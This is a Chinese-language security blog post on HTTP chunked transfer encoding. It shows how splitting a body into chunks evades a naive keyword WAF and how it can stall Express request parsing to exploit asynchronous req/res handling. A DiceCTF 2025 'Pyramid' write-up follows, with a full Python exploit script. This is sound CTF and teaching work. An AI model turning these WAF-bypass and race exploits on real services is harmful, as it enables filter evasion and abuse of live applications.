Http分块Chunk的妙用

前置

Content_Length

HTTP Connection有两种连接方式:短连接和长连接;
短连接即一次请求对应一次TCP连接的建立和销毁过程,对应的也就是Connection: close。
长连接是多个请求共用同一个连接这样可以节省大量连接建立时间提高通信效率。目前主流浏览器都会在请求头里面包含Connection:keep-alive字段,该字段的作用就是告诉HTTP服务器响应结束后不要关闭连接,浏览器会将建立的连接缓存起来,当在有限时效内有再次对相同服务器发送请求时则直接从缓存中取出连接进行通信。当然被缓存的连接如果空闲时间超过了设定值(如firefox为115s,IE为60s)则会关闭连接。

在消息头中指定Transfer-Encoding: chunked 就表示整个response将使用分块传输编码来传输内容,一个完整的消息体由n个块组成,并以最后一个大小为0的块为结束。每个非空的块包括两部分,分别为:块的长度(用十六进制表示)后面跟一个CRLF (回车及换行),长度并不包括结尾的回车换行符。第二部分就是数据本身,同样以CRLF (回车及换行)结束。最后一块是单行,只由块大小(0)以及CRLF组成,不包含任何数据

长连接也叫持续连接,短连接也叫非持续连接。
持续连接存在的问题:对于非持续连接,浏览器可以通过连接是否关闭来界定请求或响应实体的边界;而对于持续连接,这种方法显然不奏效。有时,尽管我已经发送完所有数据,但浏览器并不知道这一点,它无法得知这个打开的连接上是否还会有新数据进来,只能傻傻地等了。

用Content-length解决:计算实体长度,并通过头部告诉对方。浏览器可以通过 Content-Length 的长度信息,判断出响应实体已结束
Content-length引入的新问题:由于 Content-Length 字段必须真实反映实体长度,但是对于动态生成的内容来说,在内容创建完之前,长度是不可知的。这时候要想准确获取长度,只能开一个足够大的buffer,等内容全部生成好再计算。但这样做一方面需要更大的内存开销,另一方面也会让客户端等更久。
我们需要一个新的机制:不依赖头部的长度信息,也能知道实体的边界——分块编码(Transfer-Encoding: chunked)

Transfer-Encoding: chunked

写个比较直观的演示demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def generate_chunked(data):
chunk_length = format(len(data.encode()), 'x') # 将长度转换为十六进制字符串
chunk = f"{chunk_length}\r\n{data}\r\n"
return chunk.encode()

request = (
b"POST / HTTP/1.1\r\n"
b"Host: 127.0.0.1:23339\r\n"
b"Connection: close\r\n"
b"Transfer-Encoding: Chunked\r\n"
b"Content-Type: application/x-www-form-urlencoded\r\n"
b"\r\n"
)

print((request+generate_chunked("name=ewo")+generate_chunked('ji')+generate_chunked('')).decode())

image-20250331130850723

首先我们要明白这个分组的工作原理,首先是客户端后服务端建立TCP连接后,服务端知道接下来要分段发送的tcp流是同属于一个http文本的(也就是说服务端会手动去组装这几个tcp数据流构成完整的http文本),最后才发送给语言框架的http解析器去处理,最后再把参数压入特定数据或者字典,比如php的$_POST数组,flask的request.form数组

image-20250331131447528

实验

假设我们现在有个waf是搭建在tcp流量层的,我们可以通过分块传输去绕过这些简单的waf

用socket自己实现一个tcp_server,再写一个tcp_client

tcp_server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import socket

def detect_waf(payload):
return "ewoji" in payload

def tcp_server():
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(('0.0.0.0', 23339))
sock.listen(5)

while True:
client_sock, addr = sock.accept()
payload_chunks = []
while True:
chunk = client_sock.recv(1024).decode()
if not chunk:
break
payload_chunks.append(chunk)
print(payload_chunks)
print("------------------------------------------------------------------------------")
client_sock.close()

tcp_server()

tcp_client

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import socket
import time

def generate_chunked(data):
chunk_length = format(len(data.encode()), 'x') # 将长度转换为十六进制字符串
chunk = f"{chunk_length}\r\n{data}\r\n"
return chunk.encode()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 23339))


request = (
b"POST / HTTP/1.1\r\n"
b"Host: 127.0.0.1:23339\r\n"
b"Connection: close\r\n"
b"Transfer-Encoding: Chunked\r\n"
b"Content-Type: application/x-www-form-urlencoded\r\n"
b"\r\n"
)

#print((request+generate_chunked("name=ewo")+generate_chunked('ji')+generate_chunked('')).decode())


s.sendall(request)
time.sleep(2)
s.send(generate_chunked("name=ewo"))
time.sleep(2)
s.send(generate_chunked("ji"))
s.send(b"0\r\n\r\n")

s.close()

我们这里设置的是每三秒发一个块,一共发四个块

3月31日(1)

可以看见四个块都被发送了,并且name后面的数据也是被分成了两个快,接下来就是把这几个块合并成一个http协议文本去解析了,具体都是一些数据处理了就不写了

这里没上waf,上个waf检测一些也可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import socket

def detect_waf(payload):
return "ewoji" in payload

def tcp_server():
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(('0.0.0.0', 23339))
sock.listen(5)

while True:
client_sock, addr = sock.accept()
payload_chunks = []
while True:
chunk = client_sock.recv(1024).decode()
if not chunk:
break
payload_chunks.append(chunk)
#waf检测
for i in payload_chunks:
if(detect_waf(i)):
client_sock.send("waf!!!!!")

client_sock.close()

tcp_server()



image-20250331134245246

分块传输绕过即可

关于一些异步处理的利用

像我们一些可以拿到和操作res和req的web框架就容易出现这种异步处理的问题

假设开发者把req和res的操作使用异步进行的时候,我们就可以使用分块编码传输去卡住在进行req的操作,然后先得到res的返回结果去做些别的处理再返回req的操作

Express的小demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
const express = require('express')
const crypto = require('crypto')
const app = express()

const random = () => crypto.randomBytes(16).toString('hex')

app.post('/', (req, res) => {
const token = random()

const body = []
req.on('data', Array.prototype.push.bind(body))
req.on('end', () => {
const data = Buffer.concat(body).toString()
const parsed = new URLSearchParams(data)
const yourToken = parsed.get('token')

if(yourToken === token){
console.log("flag{ewoji}")
}else{
console.log("nonono")
}

})

res.header('set-cookie', `token=${token}`)
})

app.listen(3000)

在这段代码中/路由先对req对象设置一个监听,如果req的请求头有发来的data就启动

把data压入一个数组Array.prototype.push.bind(body)

然后请求结束后从客服端发来的token和本地生成的token进行检查,如果一样则输出flag

res对象就很简单了,如果请求这个页面则自动获得token,虽然可以拿到token,但是你再post传参这个token的话,服务端又会生成一个token,也不能拿到flag

image-20250401000504737

这里的req和res是异步进行的,如果我们写个分块传输脚本卡住req,不让它执行req.end,先拿到token后再发第二个块填入token,就可以拿到flag了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import socket
import re
import time
def generate_chunked(data):
chunk_length = format(len(data.encode()), 'x') # 将长度转换为十六进制字符串
chunk = f"{chunk_length}\r\n{data}\r\n"
return chunk.encode()

request = (
b"POST / HTTP/1.1\r\n"
b"Host: 127.0.0.1\r\n"
#b"Connection: close\r\n"
b"Transfer-Encoding: Chunked\r\n"
b"Content-Type: application/x-www-form-urlencoded\r\n"
b"\r\n"
)


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 3000))

s.send(request)

response = b''
while b'\r\n\r\n' not in response:
response += s.recv(1024)

#print(response)
headers = response.split(b'\r\n\r\n')[0].decode()
cookie_header = [line for line in headers.split('\r\n') if 'set-cookie:' in line.lower()][0]
token = cookie_header.split('=')[1].split(';')[0]
print(token)


s.send(generate_chunked("token="+token))


#s.send(generate_chunked("token=123"))
s.send(b"0\r\n\r\n")
s.close()

image-20250401133304046

[DiceCTF 2025 quals]Pyramid

这题很有意思

贴个源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
const express = require('express')
const crypto = require('crypto')
const app = express()

const css = `
<link
rel="stylesheet"
href="https://unpkg.com/axist@latest/dist/axist.min.css"
>
`

const users = new Map()
const codes = new Map()

const random = () => crypto.randomBytes(16).toString('hex')
const escape = (str) => str.replace(/</g, '&lt;')
const referrer = (code) => {
if (code && codes.has(code)) {
const token = codes.get(code)
if (users.has(token)) {
return users.get(token)
}
}
return null
}

app.use((req, _res, next) => {
const token = req.headers.cookie?.split('=')?.[1]
if (token) {
req.token = token
if (users.has(token)) {
req.user = users.get(token)
}
}
next()
})

app.get('/', (req, res) => {
res.type('html')

if (req.user) {
res.end(`
${css}
<h1>Account: ${escape(req.user.name)}</h1>
You have <strong>${req.user.bal}</strong> coins.
You have referred <strong>${req.user.ref}</strong> users.

<hr>

<form action="/code" method="GET">
<button type="submit">Generate referral code</button>
</form>
<form action="/cashout" method="GET">
<button type="submit">
Cashout ${req.user.ref} referrals
</button>
</form>
<form action="/buy" method="GET">
<button type="submit">Purchase flag</button>
</form>
`)
} else {
res.end(`
${css}
<h1>Register</h1>
<form action="/new" method="POST">
<input name="name" type="text" placeholder="Name" required>
<input
name="refer"
type="text"
placeholder="Referral code (optional)"
>
<button type="submit">Register</button>
</form>
`)
}
})

app.post('/new', (req, res) => {
const token = random()

const body = []
req.on('data', Array.prototype.push.bind(body))
req.on('end', () => {
const data = Buffer.concat(body).toString()
const parsed = new URLSearchParams(data)
const name = parsed.get('name')?.toString() ?? 'JD'
const code = parsed.get('refer') ?? null

// referrer receives the referral
const r = referrer(code)
if (r) { r.ref += 1 }

users.set(token, {
name,
code,
ref: 0,
bal: 0,
})
})

res.header('set-cookie', `token=${token}`)
res.redirect('/')
})

app.get('/code', (req, res) => {
const token = req.token
if (token) {
const code = random()
codes.set(code, token)
res.type('html').end(`
${css}
<h1>Referral code generated</h1>
<p>Your code: <strong>${code}</strong></p>
<a href="/">Home</a>
`)
return
}
res.end()
})

// referrals translate 1:1 to coins
// you receive half of your referrals as coins
// your referrer receives the other half as kickback
//
// if your referrer is null, you can turn all referrals into coins
app.get('/cashout', (req, res) => {
if (req.user) {
const u = req.user
const r = referrer(u.code)
if (r) {
[u.ref, r.ref, u.bal] = [0, r.ref + u.ref / 2, u.bal + u.ref / 2]
} else {
[u.ref, u.bal] = [0, u.bal + u.ref]
}
}
res.redirect('/')
})

app.get('/buy', (req, res) => {
if (req.user) {
const user = req.user
if (user.bal > 100_000_000_000) {
user.bal -= 100_000_000_000
res.type('html').end(`
${css}
<h1>Successful purchase</h1>
<p>${process.env.FLAG}</p>
`)
return
}
}
res.type('html').end(`
${css}
<h1>Not enough coins</h1>
<a href="/">Home</a>
`)
})

app.listen(3000)

分析一下逻辑,这题我们通过/new去注册用户

每个用户都有如下属性

  • name
  • code(邀请码)
  • ref(推荐人数)
  • bal(钱)

有如下操作

  • 生成邀请码(code)
  • 通过邀请人数换取钱(cashout)

然后看到我们获取flag的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
app.get('/cashout', (req, res) => {
if (req.user) {
const u = req.user
const r = referrer(u.code)
if (r) {
[u.ref, r.ref, u.bal] = [0, r.ref + u.ref / 2, u.bal + u.ref / 2]
} else {
[u.ref, u.bal] = [0, u.bal + u.ref]
}
}
res.redirect('/')
})

app.get('/buy', (req, res) => {
if (req.user) {
const user = req.user
if (user.bal > 100_000_000_000) {
user.bal -= 100_000_000_000
res.type('html').end(`
${css}
<h1>Successful purchase</h1>
<p>${process.env.FLAG}</p>
`)
return
}
}
res.type('html').end(`
${css}
<h1>Not enough coins</h1>
<a href="/">Home</a>
`)
})

我们通过推荐人数换取钱,要赚到一千亿个bal才可以买flag

虽然用户可以无限注册,并且可以复用一个邀请码

但是要一千亿个bal,现在来看就要发送一千亿个注册请求,线性增长这显然是不现实的,我们必须找到指数增长的方式去兑现

于是我们注意到兑换逻辑

1
[u.ref, r.ref, u.bal] = [0, r.ref + u.ref / 2, u.bal + u.ref / 2]

意思是如果有推荐人的话,在兑换钱的时候,自己的邀请人的邀请人数会加上自己邀请人数的一半,然后自己的钱只能加自己邀请人数的一半

捋一下NodeJS这种赋值方式的逻辑[a1,a2,a3] = [e1,e2,e3]

首先是会计算等号右边里每个表达式,获取结果,然后等号左边从左到右对应赋值,也就是

1
2
3
a1=e1
a2=e2
a3=e3

这是我们想,如果邀请人,和被邀请人都是一个人同时这个人还有一个ref(也就是u和f是一个对象,并且ref=1)会发生什么

1
2
3
4
//从上往下
u.ref = 0
r.ref = 1.5
u.bal = 0.5

这是我们的ref就变成了1.5,bal就变成了0.5

这样的话我们就找到了指数增长的关键了

我们的ref是以1.5为指数增长的,这样下去点击64次左右就可以突破一千亿的限制拿到flag了

接下来我们要想如何实现让自己成为自己的邀请人呢,我们看看成为邀请人和被邀请的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
app.post('/new', (req, res) => {
const token = random()

const body = []
req.on('data', Array.prototype.push.bind(body))
req.on('end', () => {
const data = Buffer.concat(body).toString()
const parsed = new URLSearchParams(data)
const name = parsed.get('name')?.toString() ?? 'JD'
const code = parsed.get('refer') ?? null

// referrer receives the referral
const r = referrer(code)
if (r) { r.ref += 1 }

users.set(token, {
name,
code,
ref: 0,
bal: 0,
})
})

res.header('set-cookie', `token=${token}`)
res.redirect('/')
})

app.get('/code', (req, res) => {
const token = req.token
if (token) {
const code = random()
codes.set(code, token)
res.type('html').end(`
${css}
<h1>Referral code generated</h1>
<p>Your code: <strong>${code}</strong></p>
<a href="/">Home</a>
`)
return
}
res.end()
})

首先用户注册是通过new路由获取自己的一个随机生成的token,然后填入可以自定义的name和refer,这里的refer又对应的是我们code下生成的code

按流程来,我们注册了一个用户后登录,就可以通过code来生成一个同样的随机生成的code,然后在codeMap上做一个code=>token的映射

然后每次用户注册的时候,就会去检查用户传入的refer,然后到codeMap中查找有没有对应的token(也就是对应的用户)是自己的邀请人

显然要成为自己的邀请人,首先要注册,然后生成code,然后再修改自己的refer,这显然违背了开发的逻辑,refer是我们注册的时候就填入的参数,不可能在注册后生成code后再修改,此时前面关于异步的利用就出现了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
app.post('/new', (req, res) => {
const token = random()

const body = []
req.on('data', Array.prototype.push.bind(body))
req.on('end', () => {
const data = Buffer.concat(body).toString()
const parsed = new URLSearchParams(data)
const name = parsed.get('name')?.toString() ?? 'JD'
const code = parsed.get('refer') ?? null

// referrer receives the referral
const r = referrer(code)
if (r) { r.ref += 1 }

users.set(token, {
name,
code,
ref: 0,
bal: 0,
})
})

res.header('set-cookie', `token=${token}`)
res.redirect('/')
})

这里我们可以通过chunk卡住end写入用户,先拿到返回的token,然后到code路由下建立映射,接着再发送第二个chunk填入refer最后发送终止chunk,这样就实现了自己成为自己的邀请人了!

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
import socket
import requests
import re
import ssl

def httpsSock(host,port):
# 创建SSL上下文
context = ssl.create_default_context()
# 创建普通socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 包装为SSL socket
ssl_sock = context.wrap_socket(s, server_hostname=host)
# 连接到服务器
ssl_sock.connect((host, port))
return ssl_sock

def httpSock(host,port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
return s

def getCode(token):
url = "http://127.0.0.1:3000/code"
cookie = {
"token": token
}
res = requests.get(url, cookies=cookie, verify=True)
code = re.findall(r'<strong>(.*?)</strong>', res.text)[0]
return code

def exploit(host,port):
s = httpSock(host,port)

# 构造分块请求头
request = (
"POST /new HTTP/1.1\r\n"
"Host: {host}:3000\r\n"
"Transfer-Encoding: chunked\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"\r\n"
).format(host=host)

# 发送请求头
s.send(request.encode())

# 接收服务器响应头(包含Set-Cookie)
response = b''
while b'\r\n\r\n' not in response: # 读取到空行表示响应头结束
response += s.recv(1024)


# 解析token(从Set-Cookie中提取)
#print(response)
headers = response.split(b'\r\n\r\n')[0].decode()
cookie_header = [line for line in headers.split('\r\n') if 'set-cookie:' in line.lower()][0]
token = cookie_header.split('=')[1].split(';')[0]

code = getCode(token)

# 发送第二个块:包含refer=code的数据
refer_data = f"name=attacker&refer={code}".encode()
chunk2_length = format(len(refer_data), 'x') # 将长度转换为十六进制字符串
chunk2 = f"{chunk2_length}\r\n{refer_data.decode()}\r\n"
s.send(chunk2.encode())

# 发送结束块
s.send(b"0\r\n\r\n")

# 关闭连接
s.close()
#print(f"code:{code}=>token:{token}")
info = {}
info['token'] = token
info['code'] = code
return info

def addRef(code):
url = "http://127.0.0.1:3000/new"
data = {
"name": "attacker",
"refer": code
}
requests.post(url, data=data, verify=True)

def addCoin(token):
url = "http://127.0.0.1:3000/cashout"
cookie = {
"token" : token
}
requests.get(url,cookies=cookie)

if __name__ == "__main__":
info = exploit("127.0.0.1",3000)
addRef(info['code'])
for i in range(63):
addCoin(info['token'])
print(info)
print("go to buy!!!")

image-20250401143131436

参考文章:

利用分块传输绕WAF - renblog - 博客园

HTTP分块传输编码绕过WAF实践与利用-CSDN博客